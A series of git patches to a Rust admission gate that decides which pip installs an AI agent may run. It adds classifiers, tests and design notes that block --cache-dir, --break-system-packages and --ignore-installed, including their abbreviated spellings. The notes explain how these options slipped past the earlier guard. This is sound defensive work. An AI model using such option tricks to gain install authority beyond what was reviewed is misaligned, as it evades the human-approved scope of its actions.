"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-{executable}-cache-dir-authority"), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From d4c873ac1f8b4665a3f02abc38b33d5815d7b1dc Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 03:44:50 +0900 Subject: [PATCH 323/702] fix(security): block pip cache directory authority --- .../src/pypi_cache_directory_authority.rs | 43 +++++++++++++++++++ 1 file changed, 43 insertions(+) create mode 100644 crates/agent-artifact-admission/src/pypi_cache_directory_authority.rs diff --git a/crates/agent-artifact-admission/src/pypi_cache_directory_authority.rs b/crates/agent-artifact-admission/src/pypi_cache_directory_authority.rs new file mode 100644 index 00000000..2a345d8d --- /dev/null +++ b/crates/agent-artifact-admission/src/pypi_cache_directory_authority.rs @@ -0,0 +1,43 @@ +use crate::InstallIntent; + +/// Return whether a direct pip install asks pip to place cache data in a +/// caller-selected directory outside the reviewed artifact mutation contract. +pub(crate) fn requests_unapproved_pypi_cache_directory_authority(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if !matches!(executable, "pip" | "pip3") { + return false; + } + + let arguments = &intent.argv[1..]; + if !arguments + .first() + .is_some_and(|argument| argument == "install") + { + return false; + } + + arguments + .iter() + .skip(1) + .any(|argument| matches_pip_cache_directory_option(argument)) +} + +/// pip uses Python optparse, which accepts an unambiguous long-option prefix. +/// `--ca` is the shortest prefix of `--cache-dir` that does not collide with +/// another current `pip install` long option at the reviewed upstream commit. +fn matches_pip_cache_directory_option(argument: &str) -> bool { + let option = argument.split_once('=').map_or(argument, |(name, _)| name); + matches!( + option, + "--ca" + | "--cac" + | "--cach" + | "--cache" + | "--cache-" + | "--cache-d" + | "--cache-di" + | "--cache-dir" + ) +} From 2cdbfcf65f8211fdcd854e0ec3f0ff684b5d5a80 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 03:45:09 +0900 Subject: [PATCH 324/702] fix(security): enforce pip cache directory denial --- crates/agent-artifact-admission/src/lib.rs | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index aa69d843..7e5c3d9c 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -10,6 +10,7 @@ mod dependency_cardinality; mod http; mod oci_transport; mod policy; +mod pypi_cache_directory_authority; mod pypi_hash_mode; mod pypi_install_report_authority; mod pypi_log_output_authority; @@ -79,6 +80,15 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A } decision.decision = DecisionKind::Block; } + if pypi_cache_directory_authority::requests_unapproved_pypi_cache_directory_authority(intent) { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot) + { + decision.reason_codes.push(ReasonCode::AlternateInstallRoot); + } + decision.decision = DecisionKind::Block; + } if pypi_hash_mode::requests_disabled_hash_requirement(intent) { if !decision .reason_codes From 70429ea463158a079ff4d3f8fb1ece4c94c8bd73 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 03:45:32 +0900 Subject: [PATCH 325/702] test(security): cover pip cache option spellings --- .../pypi_cache_dir_authority_contract.rs | 45 ++++++++++++------- 1 file changed, 28 insertions(+), 17 deletions(-) diff --git a/crates/agent-artifact-admission/tests/pypi_cache_dir_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_cache_dir_authority_contract.rs index 615c9cd1..f940c31c 100644 --- a/crates/agent-artifact-admission/tests/pypi_cache_dir_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_cache_dir_authority_contract.rs @@ -14,24 +14,35 @@ fn approved_pip_install_cannot_gain_caller_selected_cache_directory_authority() "the exact approved {executable} install must remain admissible before adding cache-directory authority" ); - let mut hostile = control_intent.clone(); - hostile - .argv - .push("--cache-dir=/tmp/wardnet-pip-cache".to_string()); + for cache_arguments in [ + vec!["--cache-dir=/tmp/wardnet-pip-cache"], + vec!["--cache-dir", "/tmp/wardnet-pip-cache"], + vec!["--ca=/tmp/wardnet-pip-cache"], + vec!["--ca", "/tmp/wardnet-pip-cache"], + ] { + let mut hostile = control_intent.clone(); + hostile.argv.extend( + cache_arguments + .iter() + .map(|argument| (*argument).to_string()), + ); - let decision = admission_decision(&policy, &hostile); - assert_eq!( - decision.decision, - DecisionKind::Block, - "{executable} --cache-dir grants caller-selected filesystem cache authority and must fail closed" - ); - assert!( - decision - .reason_codes - .iter() - .any(|reason| reason.as_str() == "alternate_install_root"), - "{executable} --cache-dir must include the stable alternate_install_root reason" - ); + let decision = admission_decision(&policy, &hostile); + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} {} grants caller-selected filesystem cache authority and must fail closed", + cache_arguments.join(" ") + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_install_root"), + "{executable} {} must include the stable alternate_install_root reason", + cache_arguments.join(" ") + ); + } } } From 6121684f332f95e10bc95ba342d0d6190c09eafc Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 03:46:16 +0900 Subject: [PATCH 326/702] docs(security): trace pip cache directory authority --- .../pypi-cache-directory-authority.md | 51 +++++++++++++++++++ 1 file changed, 51 insertions(+) create mode 100644 docs/doctoring/pypi-cache-directory-authority.md diff --git a/docs/doctoring/pypi-cache-directory-authority.md b/docs/doctoring/pypi-cache-directory-authority.md new file mode 100644 index 00000000..c4df539d --- /dev/null +++ b/docs/doctoring/pypi-cache-directory-authority.md @@ -0,0 +1,51 @@ +# PyPI cache-directory write authority + +## Decision + +Wardnet Agent Artifact Admission rejects caller-selected `pip`/`pip3 install` cache-directory authority before execution. The reviewed artifact receipt authorizes the exact package installation represented by the structured intent; it does not authorize pip to place HTTP or package cache state in an additional caller-selected filesystem location. + +The classifier is intentionally syntactic and bounded to direct supported pip installs. Wardnet does not create, resolve, canonicalize, inspect, open, clean, or authorize the requested path. + +## Problem and threat + +An otherwise exact approved PyPI install can retain the same artifact ecosystem, name, version, registry, publisher, digest, reviewed manifest digest, `--require-hashes`, and `--no-deps` while adding `--cache-dir=/tmp/wardnet-pip-cache`. Because the attached token begins with `-`, Wardnet's positional artifact-operand guard does not treat the pathname as another package operand. + +At exact upstream `pypa/pip@2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`, `src/pip/_internal/cli/cmdoptions.py` defines `--cache-dir` as a `PipOption` of type `path`, defaulting to the normal user cache and described as `Store the cache data in `. The option is part of pip's `general_group`, so install commands receive it. At the same commit, `src/pip/_internal/cli/index_command.py` reads `options.cache_dir` and gives `PipSession` an HTTP cache rooted at `os.path.join(cache_dir, "http-v2")` when caching is enabled. + +This is external control of a filesystem path and maps to CWE-73. The correct Wardnet response is to deny the unreviewed argv capability, not to sanitize or simulate the effective runtime filesystem. + +## Executed RED + +Test-only exact `4bea25c1433a61e7f8e4d3d7e2ef3ea94718e981` is exactly one commit above canonical Agent Artifact Admission parent `5cad3b13a074afe71b664da3fadd942dc886c7fb` and changes only `crates/agent-artifact-admission/tests/pypi_cache_dir_authority_contract.rs`; production source is byte-identical to the parent. + +Hosted CI `34515963018`, rust job `103001328011`, acquired a GitHub-hosted Ubuntu 24.04 runner, completed checkout, the pinned Rust toolchain, and `cargo fmt --check`, then failed in the workspace `Test` step while the new contract required the otherwise-approved install plus attached `--cache-dir=/tmp/wardnet-pip-cache` to be blocked. This is the causal semantic RED for the missing cache-directory admission boundary rather than runner/bootstrap/format noise. + +## Minimum causal repair + +The repair adds one Wardnet-local classifier and connects it to the existing stable `alternate_install_root` reason. No new filesystem policy or reason-code namespace is introduced. + +Pip builds its parser on Python `optparse`, which accepts an unambiguous prefix of a long option. At the reviewed pip option set, `--ca` is the shortest unambiguous prefix of `--cache-dir`; other `pip install` long options beginning with `c` diverge through forms such as `--cert`, `--client-cert`, `--constraint`, `--config-settings`, and `--check-build-dependencies`. Wardnet therefore recognizes only the bounded accepted family `--ca`, `--cac`, `--cach`, `--cache`, `--cache-`, `--cache-d`, `--cache-di`, and `--cache-dir`, including attached `=value` and separated value forms. A future pip parser or option-set change requires re-review rather than a broad `--c*` heuristic. + +## Ownership boundary + +Wardnet owns the pre-execution decision that an unreviewed installer argument cannot inherit Agent Artifact Admission authority. `quarantine-sandbox-runtime` remains canonical owner of effective filesystem, mount, workspace, privilege, cleanup, and hostile-execution isolation. EgressWeave remains canonical owner of executable outbound destination/DNS/peer/redirect/proxy/TLS/resource authorization. AppGuardrail remains canonical owner of static package/security analysis. + +Wardnet therefore rejects the cache-directory selector but does not duplicate runtime path containment, create a package cache, inspect cached bytes, or infer transport authorization from cache placement. + +## Alternatives considered + +Allowing arbitrary cache placement and relying only on sandbox containment was rejected because admission would still grant a side effect absent from the reviewed intent. Path allowlisting/sanitization in Wardnet was rejected because effective filesystem authority belongs to quarantine and platform path semantics would create a second runtime policy surface. Matching only the complete `--cache-dir` spelling was rejected because the pinned parser accepts unique long-option abbreviations. + +## Verification contract + +Exact approved direct `pip` and `pip3` install controls with reviewed artifact coordinates, `--require-hashes`, and `--no-deps` remain `Allow`. Complete and accepted abbreviated cache-directory options, in both attached and separated forms, must return `Block` with `alternate_install_root`. Tests do not execute pip or touch the filesystem. + +Every production or doctoring change invalidates predecessor workflow evidence. Integration requires exact-current CI/Fuzz success, fresh clean review/thread inventory, and ordinary expected-head merge into canonical Agent Artifact Admission before protected-main consideration. Issue #272 remains open until the effective delta reaches protected `main`. + +## Traceability + +- MITRE. (2025). *CWE-73: External control of file name or path* (CWE 4.20). https://cwe.mitre.org/data/definitions/73.html +- Python Software Foundation. (2026). *optparse — Parser for command line options*. Python 3.14 documentation. https://docs.python.org/3/library/optparse.html +- Python Packaging Authority. (2026). *pip command options* (commit `2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5). GitHub. https://github.com/pypa/pip/blob/2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5/src/pip/_internal/cli/cmdoptions.py +- Python Packaging Authority. (2026). *pip index/session command implementation* (same commit). GitHub. https://github.com/pypa/pip/blob/2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5/src/pip/_internal/cli/index_command.py +- Wardnet issue #272 and Draft PR #273 retain the hostile RED, repair, exact-current verification, and protected-main adoption criteria. From 510457b5584b910bcf39403f2efa5d1ab4fcae70 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 04:13:17 +0900 Subject: [PATCH 327/702] test(security): prove pip system-package override RED --- ...reak_system_packages_authority_contract.rs | 86 +++++++++++++++++++ 1 file changed, 86 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/pypi_break_system_packages_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/pypi_break_system_packages_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_break_system_packages_authority_contract.rs new file mode 100644 index 00000000..e7f61ef3 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_break_system_packages_authority_contract.rs @@ -0,0 +1,86 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn approved_pip_install_cannot_disable_externally_managed_environment_protection() { + for executable in ["pip", "pip3"] { + let (policy, control_intent) = approved_pip_install(executable); + let control = admission_decision(&policy, &control_intent); + assert_eq!( + control.decision, + DecisionKind::Allow, + "the exact approved {executable} install must remain admissible before adding the externally-managed override" + ); + + let mut hostile = control_intent.clone(); + hostile.argv.push("--break-system-packages".to_string()); + + let decision = admission_decision(&policy, &hostile); + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} --break-system-packages disables pip's externally-managed installation protection and must fail closed" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "missing_safety_flag"), + "{executable} --break-system-packages must include the stable missing_safety_flag reason" + ); + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-11.4".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-{executable}-break-system-packages-authority"), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From b5fb7615d93346edc87e5665cfc78666f9a55ff7 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 04:19:08 +0900 Subject: [PATCH 328/702] fix(security): block pip system-package override authority --- crates/agent-artifact-admission/src/lib.rs | 10 ++++ .../src/pypi_system_package_authority.rs | 55 +++++++++++++++++++ ...reak_system_packages_authority_contract.rs | 55 ++++++++++++++----- .../pypi-break-system-packages-authority.md | 50 +++++++++++++++++ 4 files changed, 155 insertions(+), 15 deletions(-) create mode 100644 crates/agent-artifact-admission/src/pypi_system_package_authority.rs create mode 100644 docs/doctoring/pypi-break-system-packages-authority.md diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 7e5c3d9c..ea1823c6 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -15,6 +15,7 @@ mod pypi_hash_mode; mod pypi_install_report_authority; mod pypi_log_output_authority; mod pypi_proxy_authority; +mod pypi_system_package_authority; mod uv_configuration_authority; pub use admission::{ @@ -125,6 +126,15 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A } decision.decision = DecisionKind::Block; } + if pypi_system_package_authority::requests_pypi_system_package_override(intent) { + if !decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag) + { + decision.reason_codes.push(ReasonCode::MissingSafetyFlag); + } + decision.decision = DecisionKind::Block; + } if uv_configuration_authority::requests_unapproved_uv_configuration_authority(intent) { if !decision .reason_codes diff --git a/crates/agent-artifact-admission/src/pypi_system_package_authority.rs b/crates/agent-artifact-admission/src/pypi_system_package_authority.rs new file mode 100644 index 00000000..8dabe432 --- /dev/null +++ b/crates/agent-artifact-admission/src/pypi_system_package_authority.rs @@ -0,0 +1,55 @@ +use crate::InstallIntent; + +/// Return whether a direct pip install asks pip to override the +/// externally-managed-environment protection required by the reviewed intent. +pub(crate) fn requests_pypi_system_package_override(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if !matches!(executable, "pip" | "pip3") { + return false; + } + + let arguments = &intent.argv[1..]; + if !arguments + .first() + .is_some_and(|argument| argument == "install") + { + return false; + } + + arguments + .iter() + .skip(1) + .any(|argument| matches_break_system_packages_option(argument)) +} + +/// pip uses Python optparse, which accepts an unambiguous long-option prefix. +/// At the reviewed upstream option set `--b` is ambiguous with +/// `--build-constraint`, while `--br` is the shortest accepted prefix of +/// `--break-system-packages`. +fn matches_break_system_packages_option(argument: &str) -> bool { + matches!( + argument, + "--br" + | "--bre" + | "--brea" + | "--break" + | "--break-" + | "--break-s" + | "--break-sy" + | "--break-sys" + | "--break-syst" + | "--break-syste" + | "--break-system" + | "--break-system-" + | "--break-system-p" + | "--break-system-pa" + | "--break-system-pac" + | "--break-system-pack" + | "--break-system-packa" + | "--break-system-packag" + | "--break-system-package" + | "--break-system-packages" + ) +} diff --git a/crates/agent-artifact-admission/tests/pypi_break_system_packages_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_break_system_packages_authority_contract.rs index e7f61ef3..c3f54a8c 100644 --- a/crates/agent-artifact-admission/tests/pypi_break_system_packages_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_break_system_packages_authority_contract.rs @@ -3,6 +3,29 @@ use wardnet_agent_artifact_admission::{ InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, }; +const BREAK_SYSTEM_PACKAGES_OPTIONS: &[&str] = &[ + "--br", + "--bre", + "--brea", + "--break", + "--break-", + "--break-s", + "--break-sy", + "--break-sys", + "--break-syst", + "--break-syste", + "--break-system", + "--break-system-", + "--break-system-p", + "--break-system-pa", + "--break-system-pac", + "--break-system-pack", + "--break-system-packa", + "--break-system-packag", + "--break-system-package", + "--break-system-packages", +]; + #[test] fn approved_pip_install_cannot_disable_externally_managed_environment_protection() { for executable in ["pip", "pip3"] { @@ -14,22 +37,24 @@ fn approved_pip_install_cannot_disable_externally_managed_environment_protection "the exact approved {executable} install must remain admissible before adding the externally-managed override" ); - let mut hostile = control_intent.clone(); - hostile.argv.push("--break-system-packages".to_string()); + for override_option in BREAK_SYSTEM_PACKAGES_OPTIONS { + let mut hostile = control_intent.clone(); + hostile.argv.push((*override_option).to_string()); - let decision = admission_decision(&policy, &hostile); - assert_eq!( - decision.decision, - DecisionKind::Block, - "{executable} --break-system-packages disables pip's externally-managed installation protection and must fail closed" - ); - assert!( - decision - .reason_codes - .iter() - .any(|reason| reason.as_str() == "missing_safety_flag"), - "{executable} --break-system-packages must include the stable missing_safety_flag reason" - ); + let decision = admission_decision(&policy, &hostile); + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} {override_option} disables pip's externally-managed installation protection and must fail closed" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "missing_safety_flag"), + "{executable} {override_option} must include the stable missing_safety_flag reason" + ); + } } } diff --git a/docs/doctoring/pypi-break-system-packages-authority.md b/docs/doctoring/pypi-break-system-packages-authority.md new file mode 100644 index 00000000..10765df0 --- /dev/null +++ b/docs/doctoring/pypi-break-system-packages-authority.md @@ -0,0 +1,50 @@ +# PyPI externally-managed environment override authority + +## Decision + +Wardnet Agent Artifact Admission rejects caller-selected `pip`/`pip3 install` options that disable pip's externally-managed-environment protection. A reviewed artifact receipt authorizes the exact package installation represented by the structured intent; it does not authorize the caller to override an interpreter-level installation safety boundary. + +The classifier is intentionally syntactic and limited to supported direct pip installs. Wardnet does not inspect the effective interpreter environment, remove or rewrite an `EXTERNALLY-MANAGED` marker, create a virtual environment, or decide which runtime filesystem paths are writable. + +## Problem and threat + +At exact upstream `pypa/pip@2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`, `src/pip/_internal/cli/cmdoptions.py` defines `--break-system-packages` as the `override_externally_managed` Boolean option with the help contract `Allow pip to modify an EXTERNALLY-MANAGED Python installation`. `InstallCommand.run` checks the externally-managed environment when installing into the current environment unless that override is set. + +PEP 668 defines the `EXTERNALLY-MANAGED` marker specifically so Python-specific installers refuse interpreter-wide mutation by default when another package manager owns the environment. The PEP requires any override to be explicit and to communicate that the operation is risky. + +Before this repair, an otherwise exact approved direct pip request could retain the reviewed artifact, manifest, `--require-hashes`, `--no-deps`, registry and source authority while adding `--break-system-packages`. Because the Boolean option begins with `-`, Wardnet's positional artifact scan did not classify it as another artifact operand and no dedicated guard named the override. + +## Executed RED + +Test-only exact `510457b5584b910bcf39403f2efa5d1ab4fcae70` is exactly one commit above canonical Agent Artifact Admission parent `3ded67b28a991fbe8604f0d73aa7d5d36932ef63` and changes only `crates/agent-artifact-admission/tests/pypi_break_system_packages_authority_contract.rs`; production source is byte-identical to the parent. + +Hosted CI `34519122876`, rust job `103011915969`, acquired a GitHub-hosted Ubuntu 24.04 runner, completed checkout, pinned Rust toolchain, and `cargo fmt --check`, then failed in the workspace `Test` step. The new contract requires the approved control to remain `Allow` and the same request with `--break-system-packages` to return `Block`. The parent had exact-head CI/Fuzz/Security/SAST GREEN, so this test-only execution is the causal semantic RED rather than bootstrap or formatting noise. + +## Minimum causal repair + +The repair adds one Wardnet-local direct-pip classifier and maps the override to the existing stable `missing_safety_flag` reason. No new runtime environment policy or reason-code namespace is introduced. + +Pip builds the install parser with Python `optparse`, which accepts an unambiguous prefix of a long option. At the reviewed upstream option set, `--b` is ambiguous because `pip install` also accepts `--build-constraint`, while `--br` is the shortest unique prefix of `--break-system-packages`. Wardnet therefore recognizes the exact accepted prefix family from `--br` through `--break-system-packages`. A future pip parser or option-set change requires re-review rather than broad `--b*` matching. + +## Ownership boundary + +Wardnet owns the pre-execution decision that unreviewed installer argv cannot disable a safety boundary and inherit Agent Artifact Admission authority. `quarantine-sandbox-runtime` remains canonical owner of effective filesystem, mount, workspace, privilege, environment and hostile-execution isolation. EgressWeave remains canonical owner of executable outbound destination/DNS/peer/redirect/proxy/TLS/resource authorization. AppGuardrail remains canonical owner of static package/security analysis. + +Wardnet therefore rejects the override but does not infer whether a particular runtime interpreter is externally managed, does not modify that interpreter, and does not duplicate quarantine runtime enforcement. + +## Alternatives considered + +Relying only on the runtime sandbox was rejected because admission would still authorize a side-effect scope not represented by the reviewed intent. Matching only the full option spelling was rejected because the pinned parser accepts unique long-option abbreviations. Rejecting every `--b*` option was rejected because `--build-constraint` is a distinct parser option and broad prefix matching would not represent the reviewed grammar. + +## Verification contract + +Exact approved direct `pip` and `pip3` controls with reviewed artifact coordinates, `--require-hashes`, and `--no-deps` remain `Allow`. Every accepted unambiguous spelling from `--br` through `--break-system-packages` must return `Block` with `missing_safety_flag`. Tests execute only the pure admission function; they do not execute pip or mutate the filesystem. + +Every production or doctoring change invalidates predecessor workflow evidence. Integration requires exact-current CI/Fuzz success, fresh clean review/thread inventory, and ordinary expected-head merge into canonical Agent Artifact Admission before protected-main consideration. Issue #274 remains open until the effective delta reaches protected `main`. + +## Traceability + +- Python Packaging Authority. (2026). *pip command options* (commit `2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`). `src/pip/_internal/cli/cmdoptions.py` defines `--break-system-packages` and `--build-constraint`; `src/pip/_internal/commands/install.py` adds both to the install parser and checks `override_externally_managed` before installation. GitHub. +- Python Packaging Authority. (2021). *PEP 668: Marking Python base environments as externally managed*. Python Enhancement Proposals. https://peps.python.org/pep-0668/ +- National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1* (NIST SP 800-218). https://doi.org/10.6028/NIST.SP.800-218 +- Wardnet issue #274 and Draft PR #275 retain the hostile RED, repair, exact-current verification, and protected-main adoption criteria. From 5b2ca8f61a5663dab74b3075e932b82e7d4596c5 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 04:32:25 +0900 Subject: [PATCH 329/702] test(security): prove pip ignore-installed overwrite RED --- ...ypi_ignore_installed_authority_contract.rs | 88 +++++++++++++++++++ 1 file changed, 88 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/pypi_ignore_installed_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/pypi_ignore_installed_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_ignore_installed_authority_contract.rs new file mode 100644 index 00000000..8cc67e78 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_ignore_installed_authority_contract.rs @@ -0,0 +1,88 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn approved_pip_install_cannot_inherit_unreviewed_overwrite_authority() { + for executable in ["pip", "pip3"] { + let (policy, control_intent) = approved_pip_install(executable); + let control = admission_decision(&policy, &control_intent); + assert_eq!( + control.decision, + DecisionKind::Allow, + "the exact approved {executable} install must remain admissible before adding overwrite authority" + ); + + for overwrite_option in ["-I", "--ignore-installed"] { + let mut hostile = control_intent.clone(); + hostile.argv.push(overwrite_option.to_string()); + + let decision = admission_decision(&policy, &hostile); + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} {overwrite_option} overwrites an existing installation outside the reviewed artifact authority and must fail closed" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "{executable} {overwrite_option} must include the stable artifact_not_approved reason" + ); + } + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-11.5".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-{executable}-ignore-installed-authority"), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From da6db3250084da7a00476c2bae699a2855d59aff Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 05:06:21 +0900 Subject: [PATCH 330/702] fix(security): block pip overwrite authority --- .../src/pypi_install_mutation_authority.rs | 25 +++++++++++++++++++ 1 file changed, 25 insertions(+) create mode 100644 crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs diff --git a/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs b/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs new file mode 100644 index 00000000..da39e89b --- /dev/null +++ b/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs @@ -0,0 +1,25 @@ +use crate::InstallIntent; + +/// Return whether a direct pip install asks for mutation authority over an +/// existing installation that is not represented by the reviewed artifact. +pub(crate) fn requests_unapproved_pypi_install_mutation(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if !matches!(executable, "pip" | "pip3") { + return false; + } + + let arguments = &intent.argv[1..]; + if !arguments + .first() + .is_some_and(|argument| argument == "install") + { + return false; + } + + arguments + .iter() + .skip(1) + .any(|argument| matches!(argument.as_str(), "-I" | "--ignore-installed")) +} From 37e56b90ad16a551e8fd12ca024879a55a867831 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 05:06:54 +0900 Subject: [PATCH 331/702] fix(security): enforce pip install mutation guard --- crates/agent-artifact-admission/src/lib.rs | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index ea1823c6..f1727126 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -12,6 +12,7 @@ mod oci_transport; mod policy; mod 